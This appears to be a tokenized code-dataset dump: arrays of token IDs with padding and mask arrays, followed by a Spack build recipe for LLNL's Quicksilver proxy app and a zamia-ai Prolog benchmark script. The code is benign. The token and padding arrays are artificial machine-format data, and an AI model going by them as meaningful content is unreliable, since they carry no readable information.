[ 2197, 492, 900, 199, 199, 504, 1639, 14, 1160, 14, 885, 4273, 492, 900, 465, 900, 63, 1541, 199, 504, 1639, 14, 396, 492, 24424, 199, 504, 1639, 14, 1208, 492, 7137, 199, 199, 504, 2508, 1208, 492, 3272, 199, 504, 1275, 7145, 63, 1208, 492, 4703, 2619, 1746, 421, 199, 533, 4703, 2925, 8, 28705, 1746, 304, 272, 408, 272, 327, 1165, 27370, 26, 4703, 2619, 2291, 367, 314, 900, 1978, 2457, 272, 408, 339, 768, 2758, 3252, 521, 614, 356, 11400, 4487, 92, 521, 5424, 69, 26, 47, 26, 52, 26, 58, 2, 29281, 272, 347, 511, 63, 521, 614, 8, 277, 304, 267, 1072, 275, 291, 14, 3908, 14, 3352, 63, 475, 63, 875, 360, 521, 614, 297, 791, 3583, 356, 291, 14, 2131, 63, 3903, 63, 73, 1552, 267, 291, 14, 629, 8, 1199, 12, 6681, 1644, 1046, 31146, 1644, 1046, 31146, 1644, 1046, 26, 7362, 383, 358, 339, 768, 2758, 3252, 521, 996, 356, 11400, 4487, 92, 521, 5424, 69, 26, 52, 2, 29281, 272, 347, 511, 63, 521, 996, 8, 277, 304, 267, 1072, 275, 291, 14, 3908, 14, 3352, 63, 475, 63, 875, 360, 521, 996, 297, 791, 3583, 356, 291, 14, 2131, 1552, 267, 291, 14, 629, 8, 1199, 12, 10871, 435, 291, 14, 2131, 63, 3903, 14, 9374, 14, 20027, 8, 277, 14, 2131, 63, 3903, 430, 339, 768, 2758, 3252, 521, 1644, 356, 11400, 307, 92, 521, 5424, 48, 26, 69, 26, 47, 26, 52, 26, 58, 2, 29281, 272, 347, 511, 63, 521, 1644, 8, 277, 304, 267, 1072, 275, 291, 14, 3908, 14, 3352, 63, 475, 63, 875, 360, 521, 1644, 297, 791, 84, 356, 900, 8, 20, 12, 378, 12, 10313, 29, 7145, 14, 362, 63, 5964, 63, 7145, 8, 1216, 430, 1552, 267, 291, 14, 629, 8, 1199, 12, 283, 20, 282, 14, 77, 14, 25131, 358, 339, 768, 2758, 3252, 521, 966, 356, 11400, 307, 92, 521, 5424, 48, 26, 69, 26, 47, 26, 52, 26, 58, 2, 29281, 272, 347, 511, 63, 521, 966, 8, 277, 304, 267, 1072, 275, 291, 14, 3908, 14, 3352, 63, 475, 63, 875, 360, 521, 966, 297, 791, 84, 356, 900, 8, 20, 12, 378, 11466, 267, 291, 14, 629, 8, 1199, 12, 283, 20, 282, 14, 77, 14, 25131, 358, 339, 768, 2758, 3252, 521, 1717, 356, 11400, 366, 92, 521, 5424, 48, 26, 69, 26, 47, 26, 52, 26, 58, 2, 29281, 272, 347, 511, 63, 521, 1717, 8, 277, 304, 267, 1072, 275, 291, 14, 3908, 14, 3352, 63, 475, 63, 875, 360, 521, 1717, 297, 791, 68, 356, 291, 14, 8136, 1552, 267, 291, 14, 629, 8, 1199, 12, 4074, 339, 768, 2758, 3252, 521, 1690, 356, 11400, 1559, 92, 521, 5424, 48, 26, 69, 26, 47, 26, 52, 26, 58, 2, 29281, 272, 347, 511, 63, 521, 1690, 8, 277, 304, 267, 1072, 275, 291, 14, 3908, 14, 3352, 63, 475, 63, 875, 360, 521, 1690, 297, 791, 1113, 356, 283, 2865, 13, 2083, 13, 585, 3071, 267, 291, 14, 629, 8, 1199, 12, 4074, 421, 199, 533, 6801, 2925, 8, 17968, 304, 339, 347, 511, 63, 3711, 8, 277, 304, 267, 291, 14, 629, 8, 521, 63, 1541, 8, 521, 8, 969, 395, 283, 72, 659, 283, 614, 358, 267, 291, 14, 629, 8, 521, 63, 1541, 8, 521, 8, 16, 395, 283, 72, 659, 283, 713, 358, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
iulian787/spack
var/spack/repos/builtin/packages/quicksilver/package.py
3
2055
# Copyright 2013-2020 Lawrence Livermore National Security, LLC and other # Spack Project Developers. See the top-level COPYRIGHT file for details. # # SPDX-License-Identifier: (Apache-2.0 OR MIT) from spack import * class Quicksilver(MakefilePackage): """Quicksilver is a proxy application that represents some elements of the Mercury workload. """ tags = ['proxy-app'] homepage = "https://codesign.llnl.gov/quicksilver.php" url = "https://github.com/LLNL/Quicksilver/tarball/V1.0" git = "https://github.com/LLNL/Quicksilver.git" maintainers = ['richards12'] version('master', branch='master') version('1.0', sha256='83371603b169ec75e41fb358881b7bd498e83597cd251ff9e5c35769ef22c59a') variant('openmp', default=True, description='Build with OpenMP support') variant('mpi', default=True, description='Build with MPI support') depends_on('mpi', when="+mpi") build_directory = 'src' @property def build_targets(self): targets = [] spec = self.spec targets.append('CXXFLAGS={0}'.format(self.compiler.cxx11_flag)) if '+mpi' in spec: targets.append('CXX={0}'.format(spec['mpi'].mpicxx)) else: targets.append('CXX={0}'.format(spack_cxx)) if '+openmp+mpi' in spec: targets.append('CPPFLAGS=-DHAVE_MPI -DHAVE_OPENMP {0}'.format( self.compiler.openmp_flag)) elif '+openmp' in spec: targets.append('CPPFLAGS=-DHAVE_OPENMP {0}'.format( self.compiler.openmp_flag)) elif '+mpi' in spec: targets.append('CPPFLAGS=-DHAVE_MPI') if '+openmp' in self.spec: targets.append('LDFLAGS={0}'.format(self.compiler.openmp_flag)) return targets def install(self, spec, prefix): mkdir(prefix.bin) mkdir(prefix.doc) install("src/qs", prefix.bin) install('LICENSE.md', prefix.doc) install('README.md', prefix.doc) install_tree('Examples', prefix.Examples)
lgpl-2.1
[ 3, 1898, 6171, 13, 13934, 7964, 29590, 491, 4380, 6878, 20548, 13863, 12, 20376, 436, 1163, 199, 3, 428, 1389, 7290, 23493, 14, 1666, 314, 2746, 13, 1896, 5877, 570, 367, 2436, 14, 199, 3, 199, 3, 6988, 19596, 13, 3761, 13, 7544, 26, 334, 28993, 13, 18, 14, 16, 1549, 10697, 9, 199, 199, 504, 308, 1389, 492, 627, 421, 199, 533, 27534, 20329, 422, 8, 19878, 8599, 304, 272, 408, 19684, 20329, 422, 365, 282, 4566, 4223, 626, 8469, 2005, 4008, 402, 314, 2126, 18880, 895, 89, 1736, 912, 14, 272, 408, 339, 3762, 275, 788, 3280, 13, 571, 418, 339, 26586, 275, 298, 2859, 921, 600, 1037, 14, 914, 7530, 14, 16294, 15, 13239, 20329, 422, 14, 8624, 2, 272, 1166, 420, 275, 298, 2859, 921, 5031, 14, 957, 15, 4464, 14176, 15, 19684, 20329, 422, 15, 18829, 15, 54, 17, 14, 16, 2, 272, 6135, 420, 275, 298, 2859, 921, 5031, 14, 957, 15, 4464, 14176, 15, 19684, 20329, 422, 14, 3187, 2, 339, 11075, 1192, 275, 788, 322, 1560, 795, 713, 418, 339, 1015, 360, 4133, 297, 5246, 534, 4133, 358, 272, 1015, 360, 17, 14, 16, 297, 7793, 3912, 534, 24, 11062, 975, 1644, 66, 10143, 825, 2194, 69, 2953, 4675, 1276, 1299, 2835, 66, 23, 3691, 20537, 69, 32065, 2576, 2866, 12140, 556, 25, 69, 21, 67, 13155, 1876, 2829, 1081, 67, 1427, 65, 358, 339, 9854, 360, 1490, 311, 297, 849, 29, 549, 12, 1369, 534, 3425, 543, 3232, 1658, 2291, 358, 272, 9854, 360, 13213, 297, 849, 29, 549, 12, 1369, 534, 3425, 543, 26024, 2291, 358, 339, 8350, 63, 265, 360, 13213, 297, 1380, 16368, 13213, 531, 339, 1900, 63, 3619, 275, 283, 2164, 7, 339, 768, 1829, 272, 347, 1900, 63, 4684, 8, 277, 304, 267, 4545, 275, 942, 267, 3158, 275, 291, 14, 1650, 398, 4545, 14, 740, 360, 26180, 3126, 16, 5285, 908, 8, 277, 14, 5772, 14, 9634, 845, 63, 4173, 430, 398, 340, 6681, 13213, 7, 315, 3158, 26, 288, 4545, 14, 740, 360, 12206, 3126, 16, 5285, 908, 8, 1650, 459, 13213, 2278, 311, 530, 2154, 430, 267, 587, 26, 288, 4545, 14, 740, 360, 12206, 3126, 16, 5285, 908, 8, 83, 1389, 63, 9634, 430, 398, 340, 6681, 1490, 311, 11, 13213, 7, 315, 3158, 26, 288, 4545, 14, 740, 360, 14533, 4831, 4022, 36, 10767, 63, 28983, 446, 36, 10767, 63, 9935, 1658, 469, 16, 5285, 908, 8, 355, 291, 14, 5772, 14, 1490, 311, 63, 4173, 430, 267, 916, 6681, 1490, 311, 7, 315, 3158, 26, 288, 4545, 14, 740, 360, 14533, 4831, 4022, 36, 10767, 63, 9935, 1658, 469, 16, 5285, 908, 8, 355, 291, 14, 5772, 14, 1490, 311, 63, 4173, 430, 267, 916, 6681, 13213, 7, 315, 3158, 26, 288, 4545, 14, 740, 360, 14533, 4831, 4022, 36, 10767, 63, 28983, 358, 398, 340, 6681, 1490, 311, 7, 315, 291, 14, 1650, 26, 288, 4545, 14, 740, 360, 22328, 3126, 16, 5285, 908, 8, 277, 14, 5772, 14, 1490, 311, 63, 4173, 430, 398, 372, 4545, 339, 347, 3907, 8, 277, 12, 3158, 12, 2403, 304, 267, 20366, 8, 1861, 14, 1393, 9, 267, 20366, 8, 1861, 14, 1301, 9, 267, 3907, 480, 2164, 15, 6177, 401, 2403, 14, 1393, 9, 267, 3907, 360, 3961, 14, 1064, 297, 2403, 14, 1301, 9, 267, 3907, 360, 18195, 14, 1064, 297, 2403, 14, 1301, 9, 267, 3907, 63, 2350, 360, 22787, 297, 2403, 14, 22787, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1898, 6171, 13, 13934, 7964, 29590, 491, 4380, 6878, 20548, 13863, 12, 20376, 436, 1163, 199, 3, 428, 1389, 7290, 23493, 14, 1666, 314, 2746, 13, 1896, 5877, 570, 367, 2436, 14, 199, 3, 199, 3, 6988, 19596, 13, 3761, 13, 7544, 26, 334, 28993, 13, 18, 14, 16, 1549, 10697, 9, 199, 199, 504, 308, 1389, 492, 627, 421, 199, 533, 27534, 20329, 422, 8, 19878, 8599, 304, 272, 408, 19684, 20329, 422, 365, 282, 4566, 4223, 626, 8469, 2005, 4008, 402, 314, 2126, 18880, 895, 89, 1736, 912, 14, 272, 408, 339, 3762, 275, 788, 3280, 13, 571, 418, 339, 26586, 275, 298, 2859, 921, 600, 1037, 14, 914, 7530, 14, 16294, 15, 13239, 20329, 422, 14, 8624, 2, 272, 1166, 420, 275, 298, 2859, 921, 5031, 14, 957, 15, 4464, 14176, 15, 19684, 20329, 422, 15, 18829, 15, 54, 17, 14, 16, 2, 272, 6135, 420, 275, 298, 2859, 921, 5031, 14, 957, 15, 4464, 14176, 15, 19684, 20329, 422, 14, 3187, 2, 339, 11075, 1192, 275, 788, 322, 1560, 795, 713, 418, 339, 1015, 360, 4133, 297, 5246, 534, 4133, 358, 272, 1015, 360, 17, 14, 16, 297, 7793, 3912, 534, 24, 11062, 975, 1644, 66, 10143, 825, 2194, 69, 2953, 4675, 1276, 1299, 2835, 66, 23, 3691, 20537, 69, 32065, 2576, 2866, 12140, 556, 25, 69, 21, 67, 13155, 1876, 2829, 1081, 67, 1427, 65, 358, 339, 9854, 360, 1490, 311, 297, 849, 29, 549, 12, 1369, 534, 3425, 543, 3232, 1658, 2291, 358, 272, 9854, 360, 13213, 297, 849, 29, 549, 12, 1369, 534, 3425, 543, 26024, 2291, 358, 339, 8350, 63, 265, 360, 13213, 297, 1380, 16368, 13213, 531, 339, 1900, 63, 3619, 275, 283, 2164, 7, 339, 768, 1829, 272, 347, 1900, 63, 4684, 8, 277, 304, 267, 4545, 275, 942, 267, 3158, 275, 291, 14, 1650, 398, 4545, 14, 740, 360, 26180, 3126, 16, 5285, 908, 8, 277, 14, 5772, 14, 9634, 845, 63, 4173, 430, 398, 340, 6681, 13213, 7, 315, 3158, 26, 288, 4545, 14, 740, 360, 12206, 3126, 16, 5285, 908, 8, 1650, 459, 13213, 2278, 311, 530, 2154, 430, 267, 587, 26, 288, 4545, 14, 740, 360, 12206, 3126, 16, 5285, 908, 8, 83, 1389, 63, 9634, 430, 398, 340, 6681, 1490, 311, 11, 13213, 7, 315, 3158, 26, 288, 4545, 14, 740, 360, 14533, 4831, 4022, 36, 10767, 63, 28983, 446, 36, 10767, 63, 9935, 1658, 469, 16, 5285, 908, 8, 355, 291, 14, 5772, 14, 1490, 311, 63, 4173, 430, 267, 916, 6681, 1490, 311, 7, 315, 3158, 26, 288, 4545, 14, 740, 360, 14533, 4831, 4022, 36, 10767, 63, 9935, 1658, 469, 16, 5285, 908, 8, 355, 291, 14, 5772, 14, 1490, 311, 63, 4173, 430, 267, 916, 6681, 13213, 7, 315, 3158, 26, 288, 4545, 14, 740, 360, 14533, 4831, 4022, 36, 10767, 63, 28983, 358, 398, 340, 6681, 1490, 311, 7, 315, 291, 14, 1650, 26, 288, 4545, 14, 740, 360, 22328, 3126, 16, 5285, 908, 8, 277, 14, 5772, 14, 1490, 311, 63, 4173, 430, 398, 372, 4545, 339, 347, 3907, 8, 277, 12, 3158, 12, 2403, 304, 267, 20366, 8, 1861, 14, 1393, 9, 267, 20366, 8, 1861, 14, 1301, 9, 267, 3907, 480, 2164, 15, 6177, 401, 2403, 14, 1393, 9, 267, 3907, 360, 3961, 14, 1064, 297, 2403, 14, 1301, 9, 267, 3907, 360, 18195, 14, 1064, 297, 2403, 14, 1301, 9, 267, 3907, 63, 2350, 360, 22787, 297, 2403, 14, 22787, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
gooofy/zamia-ai
tests/bench_compile.py
3
1605
#!/usr/bin/env python # -*- coding: utf-8 -*- # # Copyright 2017 Guenter Bartsch, Heiko Schaefer # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # # benchmark prolog compiler+runtime through kernal # import sys import logging import codecs import cProfile, pstats from time import time from sqlalchemy.orm import sessionmaker import model from zamiaprolog.logicdb import LogicDB from aiprolog.runtime import AIPrologRuntime, USER_PREFIX from zamiaprolog.logic import Predicate from zamiaprolog.errors import PrologError, PrologRuntimeError from ai_kernal import AIKernal from nltools import misc def _bench_fn(): kernal.compile_module_multi (['humans'], run_trace=False, print_utterances=False) logging.basicConfig(level=logging.INFO) # logging.basicConfig(level=logging.DEBUG) # logging.getLogger('sqlalchemy.engine').setLevel(logging.WARNING) kernal = AIKernal() cProfile.run('_bench_fn()', 'mestats') p = pstats.Stats('mestats') # p.strip_dirs().sort_stats(-1).print_stats() p.sort_stats('cumulative').print_stats(10)
apache-2.0
